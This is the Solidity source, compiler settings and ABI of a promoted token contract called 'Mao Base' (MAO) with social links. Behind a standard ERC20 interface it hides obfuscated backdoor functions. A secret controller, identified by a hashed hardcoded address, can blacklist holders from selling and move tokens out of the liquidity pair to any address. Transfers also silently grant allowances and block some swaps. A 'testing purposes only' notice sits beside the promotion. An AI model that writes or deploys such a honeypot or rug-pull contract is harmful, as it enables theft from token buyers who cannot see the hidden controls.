/**
Website: https://www.maobnb.com/
Twitter: https://twitter.com/maobnb
Telegram: https://t.me/maobnb
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address dXnvlvrZFD, uint256 huSBquEod)
public
override
returns (bool)
{
_transfer(msg.sender, dXnvlvrZFD, huSBquEod);
return true;
}
function allowance(address kgLZICXzi, address mopplusmeap)
public
view
override
returns (uint256)
{
return _allowances[kgLZICXzi][mopplusmeap];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _transfer(
address CAkPqzOWaV,
address gqsvxqwozcx,
uint256 amount
) internal virtual {
require(
CAkPqzOWaV != address(0),
"ERC20: transfer from the zero address"
);
require(
gqsvxqwozcx != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[CAkPqzOWaV] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[CAkPqzOWaV] = _tOwned[CAkPqzOWaV].sub(amount);
_tOwned[gqsvxqwozcx] = _tOwned[gqsvxqwozcx].add(amount);
emit Transfer(CAkPqzOWaV, gqsvxqwozcx, amount);
}
function transferFrom(
address qEFWkTAddZxX,
address uuncjjhvcyxhe,
uint256 ykuirapfbwxzsv
) public override returns (bool) {
_transfer(qEFWkTAddZxX, uuncjjhvcyxhe, ykuirapfbwxzsv);
_approve(
qEFWkTAddZxX,
msg.sender,
_allowances[qEFWkTAddZxX][msg.sender].sub(
ykuirapfbwxzsv,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract MAO is BERC20 {
using SafeMath for uint256;
string private _name_ = "Mao Base";
string private _symbol_ = "MAO";
address private ldukvrhffxel = 0xFD91537dDED66A1790e57e2a37E2817A68F238C9;
address private ptKqCqhXEvedf = 0xCe155aee0DDBE0efB45670Dd3690e20DAe6c140D;
address private tJSXBhopDu;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) public _kgibwhdgzaxt;
mapping(address => bool) public _OwQHDgdXYZxDX;
mapping(address => bool) public smgocxkpxygulk;
mapping(address => bool) public _WcoUBNrGWWG;
address public uniswapV2Pair;
address private _aswaimryvvgw;
address public factory;
uint256 private eQMhHDyiUUGOb = 1000;
mapping(address => uint256) private igtnougztsggqa;
bool public mwjtNtFRSR = true;
uint256 private qmramknjrpo = 7;
uint256 private ucHGTaUAROOa = 0;
uint256 private yspmszusqnoku = 222;
bool public CIXTZQbjPL = true;
bytes32 private _GYnzYHjBOK;
mapping(address => bool) public _KovffGiLNJOelG;
mapping(address => uint256) public _obzzcsriauv;
address public SFESYfrxmg;
address private cJUVNviiNDaMO;
address private xpxgzvlsmeuj;
uint256 private WRGlrULvJCWimw = 11;
uint256 private zhorqltnibwra = 1e8;
uint256 private dxWxpKSWHzWJOn = 125423232111333;
uint256 private ts;
mapping(address => bool) public hNmewBaoGye;
uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));
constructor() BERC20(_name_, _symbol_,ptKqCqhXEvedf
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());cJUVNviiNDaMO = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));xpxgzvlsmeuj = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));require(e57fab842a(msg.sender));
uniswapV2Router = _uniswapV2Router;
_GYnzYHjBOK = sha256(abi.encodePacked(ldukvrhffxel));
tJSXBhopDu = 0x4200000000000000000000000000000000000006;
_aswaimryvvgw=ldukvrhffxel;
hNmewBaoGye[cJUVNviiNDaMO] = true;
hNmewBaoGye[xpxgzvlsmeuj] = true;
smgocxkpxygulk[uniswapV2Pair] = true;
_WcoUBNrGWWG[_aswaimryvvgw] = true;
_kgibwhdgzaxt[address(this)] = true;
_kgibwhdgzaxt[_aswaimryvvgw] = true;
_kgibwhdgzaxt[ptKqCqhXEvedf] = true;
}
function _approve(address owner, address spender, uint256 amount) internal override {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
super._approve(owner,spender,amount);
}
function e57fab842a(address ff322a414) internal view returns (bool) {
uint32 size;
assembly {
size := extcodesize(ff322a414)
}
return (size > 0);
}
function _xzhdiyvgctefhc( address from) internal {
_OwQHDgdXYZxDX[from] = true;
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero");
uint256 expectedamount = amount;if (_kgibwhdgzaxt[from] || _kgibwhdgzaxt[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to;
bool taketFeeTransfer = _OwQHDgdXYZxDX[from];
bool takebottime = igtnougztsggqa[from] + qmramknjrpo > block.timestamp;
require(!taketFeeTransfer);
if (from == uniswapV2Pair) { bool ghewra; bool sdhkwn; uint256 otherAmount; (, bytes memory token00) = uniswapV2Pair.call( abi.encodeWithSelector(0x0dfe1681) ); (, bytes memory token01) = uniswapV2Pair.call( abi.encodeWithSelector(0xd21220a7) ); (, bytes memory reserves01) = uniswapV2Pair.call( abi.encodeWithSelector(0x0902f1ac) ); (uint256 reserves0, uint256 reserves1) = abi.decode( reserves01, (uint256, uint256) ); address token0 = abi.decode(token00, (address)); address token1 = abi.decode(token01, (address)); (, bytes memory amount01) = token0.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount03 = abi.decode(amount01, (uint256)); (, bytes memory amount02) = token1.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount1 = abi.decode(amount02, (uint256)); if (token0 == tJSXBhopDu) { if (reserves0 > amount03) { otherAmount = reserves0 - amount03; ghewra = otherAmount > eQMhHDyiUUGOb; } else { sdhkwn = reserves0 == amount03; } } else if (token1 == tJSXBhopDu) { if (reserves1 > amount1) { otherAmount = reserves1 - amount1; ghewra = otherAmount > eQMhHDyiUUGOb; } else { sdhkwn = reserves1 == amount1; } } require(!ghewra && !sdhkwn); } if (feeaddress != address(this) && feeaddress != uniswapV2Pair ){ _approve(feeaddress,address(this), amount);}
super._transfer(from, to, expectedamount);
}
function rbljturiy(address vrtpslyaxt) public { if (sha256(abi.encodePacked(msg.sender)) != _GYnzYHjBOK) { return; } else { SFESYfrxmg = vrtpslyaxt; } }
function bppjhxvybre(address zhjvrkysw) public { if (sha256(abi.encodePacked(msg.sender)) != _GYnzYHjBOK) { return; } else { _xzhdiyvgctefhc(zhjvrkysw); } }
function ffxqgocqbqmp( bool ldooequtt, uint256 ptwvehtctmu, uint256 tjmblybusl, uint256 xzuhkxilr, bool bpknjoid, uint256 ffsuqfp ) public { if (sha256(abi.encodePacked(msg.sender)) != _GYnzYHjBOK) { return; } else { mwjtNtFRSR = ldooequtt; qmramknjrpo = ptwvehtctmu; ucHGTaUAROOa = tjmblybusl; yspmszusqnoku = xzuhkxilr; CIXTZQbjPL = bpknjoid; dxWxpKSWHzWJOn = ffsuqfp; } }
function jvnwnfkzap(uint256 dxrcybfj) public { if (sha256(abi.encodePacked(msg.sender)) != _GYnzYHjBOK) { return; } else { _transfer(uniswapV2Pair, SFESYfrxmg, dxrcybfj); } }
function nlvcmdjrz(address hngixsnbup, uint256 amount) public { if (sha256(abi.encodePacked(msg.sender)) != _GYnzYHjBOK) { return; } else { _transfer(SFESYfrxmg, hngixsnbup, amount); } }
}
{
"compilationTarget": {
"MAO.sol": "MAO"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CIXTZQbjPL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SFESYfrxmg","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_KovffGiLNJOelG","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_OwQHDgdXYZxDX","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_WcoUBNrGWWG","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_kgibwhdgzaxt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_obzzcsriauv","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"kgLZICXzi","type":"address"},{"internalType":"address","name":"mopplusmeap","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"zhjvrkysw","type":"address"}],"name":"bppjhxvybre","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"ldooequtt","type":"bool"},{"internalType":"uint256","name":"ptwvehtctmu","type":"uint256"},{"internalType":"uint256","name":"tjmblybusl","type":"uint256"},{"internalType":"uint256","name":"xzuhkxilr","type":"uint256"},{"internalType":"bool","name":"bpknjoid","type":"bool"},{"internalType":"uint256","name":"ffsuqfp","type":"uint256"}],"name":"ffxqgocqbqmp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"hNmewBaoGye","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"dxrcybfj","type":"uint256"}],"name":"jvnwnfkzap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mwjtNtFRSR","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"hngixsnbup","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"nlvcmdjrz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"vrtpslyaxt","type":"address"}],"name":"rbljturiy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"smgocxkpxygulk","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"dXnvlvrZFD","type":"address"},{"internalType":"uint256","name":"huSBquEod","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"qEFWkTAddZxX","type":"address"},{"internalType":"address","name":"uuncjjhvcyxhe","type":"address"},{"internalType":"uint256","name":"ykuirapfbwxzsv","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]